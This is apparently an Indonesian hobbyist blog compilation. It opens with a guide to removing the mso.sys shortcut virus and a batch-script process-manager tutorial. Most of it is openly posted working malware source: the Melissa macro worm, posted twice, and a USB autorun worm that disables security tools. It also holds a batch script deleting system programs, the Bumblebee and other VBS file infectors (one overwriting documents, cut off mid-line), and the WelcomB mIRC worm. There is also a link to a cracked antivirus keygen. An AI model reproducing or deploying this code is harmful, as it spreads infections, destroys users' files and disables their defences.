Di buat oleh : velshadow 09 Januari 2011

Virus mso.sys merupakan virus yang cukup menjengkelkan bagi saya, bagaimana tidak setiap kali di hapus muncul kembali, di kill dari task manager maka akan muncul lagi . Dalam task manager virus ini menuju ke rundll32.exe dalam direktori windows .
Setiap kali virus ini berjalan maka akan membuat sebuah shorcut yang menuju ke mso.sys, setiap kali flashdisk di tancapkan maka virus ini akan menginfeksi flashdisk tersebut dengan shorcut beberapa macam nama, serta mso.sys sebagai masternya. Jika komputer kita melakukan autorun pasti akan terinfeksi virus ini. virus ini dapat menyebar melalu lan, folder sharing dll. maka cukup sulit jika menghilangkan virus ini dalam sebuah workgroup yang cukup besar namun jangan kuwatir saya akan menjelaskan dengan cara mudah dan  simple pakai anti virus atau tidak bisa saja.


Cara penghapusan virus shortcut, mso.sys ( cara velshadow team ) :

1. Matikan Lan, jika ada yang di sharing "JANGAN" di sharing dulu. mengantisipasi agar tidak terinfeksi lagi.
2. Matikan Autorun http://blog.velshadow.com/2011/01/cara-mematikan-autorun-windows.html agar saat kita membuka flashdisk / hardisk lain tidak otomatis terbaca.
3. Unhide file file "agar virus yang ter hidden dapat terlihat" bisa pakai fitur smadav
   Download smadav pro http://blog.velshadow.com/2010/10/key-crack-keygen-smadav-pro-83.html
   masuk ke menu smadav > Tools > System editor > Centang semua > "Restart explorer"
4. Master virus ini bernama "mso.sys" dalam Hardisk C:/, D:/ dll maka hapus file tersebut jika tidak bisa kill dulu melalui task manager bernama "rundll32.exe" pada username nama komputer, jika tidak ingin menghapusnya maka bisa menggunakan fasilitas "notepad" buka file "mso.sys" pada hardisk C:/,D:/, dst dan pada flasdisk dengan notepad hilangkan tulisan di dalamnya maka akan menjadi "kosong".
5. hapus sisa - sisa shortcut dalam hardisk. dan folder "Recycle" yang berisi virus shorcut di dalamnya.
6. hapus startup yang menuju "Recycle.ink" ini menuju ke "mso.sys" atau master virus tadi . dengan cara RUN ketik "msconfig" > startup > uncheck "Recycle"
7. coba lakukan restart ada shortcut lagi dalam hardisk atau tida, jika tidak ada maka virus tsb sudah hilang dari komputer anda .

Jika task manager ter disable kunjungi link di bawah ini
http://blog.velshadow.com/2009/05/taskmanager-disable-administrator.html

Jika ada pertanyaan silahkan berkomentar ,

salam,
velshadow team

Di buat oleh : velshadow 05 Desember 2009

Oke langsung saja kita mulai acaranya. Pasti temen2 semua udah pada tau apa itu “Task Manager”. Kalau blum tau sebaiknya cari tau sendiri y. Nah, program yang akan kita buat kali ini adalah Program sederhana yg berguna untuk mengatur proses yg berjalan pada sistem operasi Windows (seperti Task Manager). “Process Manager” yg akan kita buat kali ini hanyalah sebagai contoh pembelajaran saja. Hanya ada 2 fitur didalamnya, maka silahkan dikembangkan agar menjadi lebih baik.

Oiy, tutorial ini ditujukan untuk kalangan Intermediate dan Expert (dlm Batch Programming). Untuk para newbie mungkin hanya untuk mencoba-coba saja, karena tidak ada penjelaskan secara menyeluruh fungsi “Perintah2/Syntax” yg digunakan, hanya pada bagian penting saja.

Langsung saja kita buat programnya :

[1]. Buka Notepad (text editor), truz copy paste script dibawah :

HERE is THE CODE

tested on Windows XP sp2)

___________________________ start script _____________________________

@echo off
mode 33,25
setlocal ENABLEDELAYEDEXPANSION
Title Process Manager
:Begin
PUSHD
CD /D "!TEMP!"
set "TASKLIST=%windir%\system32\tasklist.exe"
set "FIND=%windir%\system32\find.exe"
set "wmic=%windir%\System32\Wbem\wmic.exe"
set "Explore=%windir%\explorer.exe"

:Reload
cls
set num=0
echo.________________________________
echo.[ Process Name ] [ PID ]
echo.--------------------------------
if not defined NAME set NAME=%USERNAME%
!TASKLIST! /FI "USERNAME eq !NAME!" /FO TABLE /NH >"plist.txt"
for /f "tokens=*" %%a in (plist.txt) do (
set /a num+=1
set "list=%%a"
set "list=!list:~0,32!"
echo.!list!
)
echo.________________________________
Del /f /q "plist.txt" >nul 2>&1
Title !NAME! - [!num!] Process Running.
if not defined ac (
if /i "!NAME!"=="%USERNAME%" goto :USR
if /i "!NAME!"=="SYSTEM" goto :SYS
)
if /i "!ac!"=="K" goto :Kill
if /i "!ac!"=="S" goto :SYSTEM
if /i "!ac!"=="U" goto :USER
if /i "!ac!"=="E" goto :Explore
set "ac="
GOTO :Reload

:USER
set "NAME="
set "ac="
GOTO :Reload
:USR
echo.CH : K=Kill, S=System, E=Explore
set /p "ac=Manage : "
GOTO :Reload

:SYSTEM
set NAME=SYSTEM
set "ac="
GOTO :Reload
:SYS
echo.CH : K=Kill, U=User, E=Explore
set /p "ac=Manage : "
GOTO :Reload

:Kill
echo.Type PID to Kill..
set /p "PID=PID : "
if not defined PID goto :Reload
Taskkill /F /PID !PID! >nul 2>&1
if errorlevel 1 (echo.No Task Running w/ this PID.) else (
if !PID! geq 0 if !PID! lss 10 (
echo.Can't kill Critical Process
goto :clr_var2
) else (
echo.Success : Task with PID=!PID!
echo. has been KILLED..
))
:clr_var2
set "ac="
set "PID="
PAUSE>NUL
GOTO :Reload

:Explore
echo.Type PID to Explore..
set /p "PID=PID : "
if not defined PID goto :Reload
if !PID! lss 10 goto :clr_var
if !PID! gtr 10000 goto :clr_var
!wmic! process get ProcessID,ExecutablePath >"path.txt"
for /f "tokens=1,2 delims= " %%a in ('type "path.txt" ^| !FIND! " !PID! "') do (
set "exepath=%%~dpa"
)
if not defined exepath (
echo.No Task Running w/ this PID.
PAUSE>NUL
) else (!Explore! "!exepath!")
set "ac="
:clr_var
set "PID="
set "exepath="
Del /f /q "path.txt" >nul 2>&1
GOTO :Reload

:END
____________________________ end script _____________________________

[2]. Save dgn Extensi [.BAT], misal : velshadow.bat

Ataw, bisa langsung Download Scriptnya Di Sini.

# Penjelasan :
Code diatas sengaja saya buat terbagi menjadi bbrp subfuction/subprogram agar memudahkan untuk dibaca dan dipahami. Berikut Penjelasan tiap sub fungsinya :

[Baris 1-4]
Perintah standart dalam memulai Batch Programming.

[:Begin]
Awal proses, berupa pendeklarasian variabel. Terkadang dlm program yg melakukan looping bbrp kali kita harus mendefinisikan command external sebagai varibel.

[:Reload]
Di sini akan terjadi looping sesuai penggunaan, berfungsi menampilkan proses yang sedang berjalan. Secara Default menampilkan “USER Process”. Terdapat juga Menu dgn 4 Pilihan (User,System,Kill,Explore).

[:USER]
Jika kita memilih Menu User (tekan ‘u’), maka program akan dinavigasikan ke subfunsgi ini. Fungsinya adalah untuk Mengganti Nama User untuk proses yang akan ditampilkan menjadi %Username%.

[:SYSTEM]
Hampir sama dgn subfungsi USER, tapi fungsinya untuk menganti Nama User menjadi ‘SYSTEM’.

[:Kill]
Fungsi untuk membunuh proses. Perintah yang digunakan pasti dah pada tau semua yaitu “TASKKILL”.

[:Explore]
Fungsi untuk mengexplore tempat File executable proses tsb berada. Menggunakan perintah ‘wmic’ (Windows Management Instrumentation Command Line). Ada banyak fungsi dalam perintah ini. Untuk menggunakannya pastikan service “Windows Management Instrumentation” sedang berjalan.

[:END] – Akhir dari program ini.

# Penggunaan :

Sekarang jalankan Program yang sudah kita buat.
Pada saat pertama kali dijalankan, secara default akan menampilkan User Process.

Gambar diatas adalah tampilan awal. Ada 3 menu Pilihan yaitu :
[tekan ‘K’] : Kill – Membunuh proses.
[tekan ‘S’] : System – Menampilkan System Process.
[tekan ‘E’] : Explore – Mengexplore App Path dgn Windows Explorer.

Coba, kita tekan ‘S’, lalu [ENTER]
Maka Program akan menampilkan System process spt Gambar dibawah :

Untuk menampilkan kembali USER process, tekan ‘U’, lalu [ENTER].
Sekarang kita coba membunuh proses. Tekan ‘K’, lalu [ENTER].
Maka akan tampil Prompt sprti gambar dibawah ini :

Misal, kita akan membunuh proses “Winamp.exe”, tinggal ketik aja PID-nya.
Jika berhasil akan menampilkan pesan seperti pada gambar.Fitur ke-2 adalah Explore. Tekan ‘E’, lalu [ENTER] untuk menggunakannya.
Truz, tinggal ketik aja PID proses yang ingin diexplore (Lihat gambar).

Jreeeeng, muncul dah windows explorer yang dinavigasikan ke tempat Executable File tsb berada.

He..he.. keyen kan.. tapi ‘Process Manager’ ini masih sederhana. Kamu bisa menambahkan Fitur lain misalnya untuk melihat “Service Process”, Menjalankan Proses baru, Hapus Proses (kill & Delete File), dll.

Selamat mencoba, moga bemamfaat untuk kemajuan IT di Indonesia.

copy : http://www.klik-kanan.com

Di buat oleh : velshadow 10 Mei 2009

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

Di buat oleh : velshadow

on error resume next
dim urang,abdi,aing,kuring,anak,mf,isi,tf,galuh,nt,check,sd

'siapkan isi autorun
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe galuh.3gp.vbs"
set anak = createobject("Scripting.FileSystemObject")
set mf = anak.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
urang = urang & text.readline
urang = urang & vbcrlf
loop
do

'buat file induk
Set aing = anak.getspecialfolder(0)
Set abdi = anak.getspecialfolder(1)
set tf = anak.getfile(abdi & "\recycle.vbs")
tf.attributes = 32
set tf = anak.createtextfile(abdi & "\recycle.vbs",2,true)
tf.write urang
tf.close
set tf = anak.getfile(abdi & "\recycle.vbs")
tf.attributes = 39

'sebar ke removable disc ditambahkan dengan Autorun.inf
for each kuring in anak.drives

If (kuring.drivetype = 1 or kuring.drivetype = 2) and kuring.path <> "A:" then

set tf=anak.getfile(kuring.path &"\galuh.sys.vbs")
tf.attributes =32
set tf=anak.createtextfile(kuring.path &"\galuh.3gp.vbs",2,true)
tf.write urang
tf.close
set tf=anak.getfile(kuring.path &"\galuh.3gp.vbs")
tf.attributes = 39

set tf =anak.getfile(kuring.path &"\autorun.inf")
tf.attributes = 32
set tf=anak.createtextfile(kuring.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = anak.getfile(kuring.path &"\autorun.inf")
tf.attributes=39
end if
next

'Manipulasi Registry
set galuh = createobject("WScript.Shell")

'Ubah IE Title
galuh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: Dunia ini sudah enggan untuk bersahabat Tolong sadar mari kita jaga alam ini terutamna air, udara, tanah, n hutan ::"

'File Hidden tak terlihat
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",0, "REG_DWORD"

'Blokir Find, FolderOptions, Run, Regedit, Task Manager, System Restore, perubahan Wallpaper, Hotkey, Control Panel, dan Log Off
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "0", "REG_DWORD"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "0", "REG_DWORD"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "0", "REG_DWORD"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "0", "REG_DWORD"

'Ubah tulisan pertama pada text box menu RUN
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a", "King Of Galuh"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList", "a"

'Buat pesan saat Windows Startup
galuh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "King of Galuh"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "sory coy gue numpang istirahat di komputer kamu tenang aja komputer kamu masih aman-aman aja coz aku ga delete file kamu kok....!!!!! hhe......hee...... by: xipemainopth"
galuh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia", abdi & "\recycle.vbs"
galuh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.google.com"
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger",""
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run aing & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Di buat oleh : velshadow

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

Di buat oleh : velshadow

md c:\GSS
if exist c:\gss goto end
echo off
@echo Silent Nights, Lonely Nights.
@echo My Lonelieness Is Killing Me.
@echo Its So Silent, So Lonely Tonight.
@echo How I Wish That You Were Here With Me.
@echo The Loneliness That Comes With The Silent Nights
@echo Would Be Better If I Were Lonely And Silent With You!
@echo
@echo ...I Fucking Love You A.E! It Would Be Worth The Silence
@echo If The Silence Were With You...
@echo
@echo off
@copy c:\windows\notepad.exe c:\windows\notepad.vbs
@del c:\windows\notepad.exe
@copy c:\windows\regedit.exe c:\windows\regedit.vbs
@del c:\windows\regedit.exe
@exit
@if not exist c:\windows\notepad.vbs goto end
@if not exist c:\windows\regedit.vbs goto end
goto end

:end
exit

Di buat oleh : velshadow

'paste di notepad save pilih allfiles save dgn nama .cbs
' Bumblebee - my first VB Script Virus
' by Bumblebee/[Hail and Kill] '99
' Feel free to use and modify it
'
on error resume next

const fdWrite=2, fdRead=1
endl=chr(13)&chr(10)

remove=endl&" This system is infected by Bumblebee.vbs Virus."&endl&endl&" Don't worry, it's a easy-to-remove virus:"&endl&endl&" . Edit all of your system .vbs files and"&endl&" delete from "&chr(39)&"-"&"@ to "&chr(39)&"-"&"@"&endl&endl&" (C) 1999 Bumblebee/[Hail and Kill] Wink"&endl&endl
hostName=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

set myShell=createObject("WScript.Shell")
infCount=0
infCount=myShell.regRead("HKCU\infCount")
if infCount<1 then
myShell.regWrite "HKCU\infCount",1
infCount=1
end if
if infCount>10 then
desk=myShell.specialFolders("Desktop")
set fd=fso.openTextFile(desk&"\\Remove me!.txt",fdWrite,1)
fd.write remove
fd.close
end if

set fd=fso.openTextFile(hostName,fdRead)
hostCode=fd.readAll
fd.close

virusSize=inStr(4,hostCode,"-"&"@")+1

set fd=fso.openTextFile(hostName,fdRead)
virusCode=fd.read(virusSize)
fd.close

for each victim in fso.getfolder(".").files

vExt=fso.getExtensionName(victim.name)
i=0
if mid(vExt,1,1)="v" or mid(vExt,1,1)="V" then i=i+1 end if
if mid(vExt,2,1)="b" or mid(vExt,2,1)="B" then i=i+1 end if
if mid(vExt,3,1)="s" or mid(vExt,3,1)="S" then i=i+1 end if

if i=3 then
set fd=fso.openTextFile(victim.path,fdRead)
victimCode=fd.readAll
fd.close
if left(victimCode,3)<>chr(39)&"-"&"@" then
infCount=infCount+1
infectedCode=virusCode&endl&victimCode
set fd=fso.openTextFile(victim.path,fdWrite,1)
fd.write infectedCode
fd.close
end if
end if
next
myShell.regWrite "HKCU\infCount",infCount

'-@
'VBSv777


On Error Resume Next

Const cbVirusSize = 3914
Const cbForReading=1, cbForWriting=2
Const cbWindowsFolder = 0

Dim cbFSO, cbInfectionMarker, cbVictimCode, cbVirusCode
Dim cbWePath, cbWeFile, cbVictim, VictimFile
Dim cbFoldersToInfect(3), cbFolder, cbFile, cbDriveList, cbDrive
Dim cbTextFile


Set cbFSO = CreateObject("Scripting.FileSystemObject")

cbWePath = Wscript.ScriptFullName

cbFoldersToInfect(0) = "."
cbFoldersToInfect(1) = cbFSO.GetSpecialFolder(cbWindowsFolder)
cbFoldersToInfect(2) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\All Users\Desktop"
cbFoldersToInfect(3) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\Administrator\Desktop"
cbFoldersToInfect(4) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Desktop"


Set cbWeFile=cbFSO.OpenTextFile(cbWePath, cbForReading)
cbVirusCode = cbWeFile.Read(cbVirusSize)
cbWeFile.Close


For Each cbFolder in cbFoldersToInfect
cbInfect cbFolder
Next


If Day(Now()) = 2 And Hour(Now()) = 9 Then

Set cbDriveList = cbFSO.Drives

For Each cbDrive in cbDriveList
If cbDrive.DriveType = 2 Or cbDrive.DriveType = 3 then cbRecursiveFolderScan cbDrive & "\"
Next

End If



Sub cbRecursiveFolderScan(cbTheFolder)

Dim cbMoreFolders, cbTempFolder


For Each cbFile in cbFSO.GetFolder(TheFolder).Files
If cbFSO.GetExtensionName(cbFile) = "txt" or cbFSO.GetExtensionName(cbFile) = "doc" Then

Set cbTextFile = cbFSO.OpenTextFile(cbFile, cbForWriting)
cbTextFile.WriteLine " "
cbTextFile.WriteLine " _ _ "
cbTextFile.WriteLine " |_| |_| "
cbTextFile.WriteLine " | | /^^^\ | | "
cbTextFile.WriteLi'Welcomb


'= VBS/mIRC/pIRCH.WelcomB.a =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
'= Technology used from Code Breakers =
On Error Resume Next
Const Welcomb = 5416
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode
Dim Parent, MyWelcomb, V, VFile, EvFile
Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)
Cini.WriteLine "[rfiles]"
Cini.WriteLine "n100=script.ini"
Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)
ScrFile.WriteLine "[script]"
ScrFile.WriteLine "n0; VBS/mIRC/pIRCH WelcomB.a"
ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n2= /dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n3=}"
ScrFile.WriteLine "n4="
ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n7=}"
ScrFile.WriteLine "n8="
ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"
ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*Question/.ignore $nick"
ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"
ScrFile.WriteLine "n12=on 1:TEXT:*virus*Question/.ignore $nick"
ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"
ScrFile.WriteLine "n14=on 1:TEXT:*worm*Question/.ignore $nick"
